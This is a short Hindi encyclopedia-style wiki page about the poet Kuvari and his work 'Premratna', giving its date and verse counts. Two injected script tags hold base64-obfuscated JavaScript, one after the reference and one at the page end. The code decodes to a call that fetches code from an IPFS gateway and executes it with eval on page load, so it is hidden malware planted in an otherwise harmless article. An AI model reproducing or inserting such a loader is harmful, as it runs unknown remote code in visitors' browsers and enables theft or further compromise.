कुवरि

भारत डिस्कवरी प्रस्तुति
दिनेश (चर्चा | योगदान) द्वारा परिवर्तित 09:52, 10 जनवरी 2014 का अवतरण (''''कुवरि''' राजा शिवप्रसाद सितारे हिन्द की परम्परा में ...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

कुवरि राजा शिवप्रसाद सितारे हिन्द की परम्परा में आने वाले कवि थे। इनका ग्रन्थ 'प्रेमरत्न' है, जिसकी रचना संवत 1844 में मानी जाती है। इस ग्रन्थ में 128 चौपाईयाँ, 142 दोहे और 16 सोरठा का अद्भुत मिश्रण है।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. काशी कथा, साहित्यकार (हिन्दी)। । अभिगमन तिथि: 10 जनवरी, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>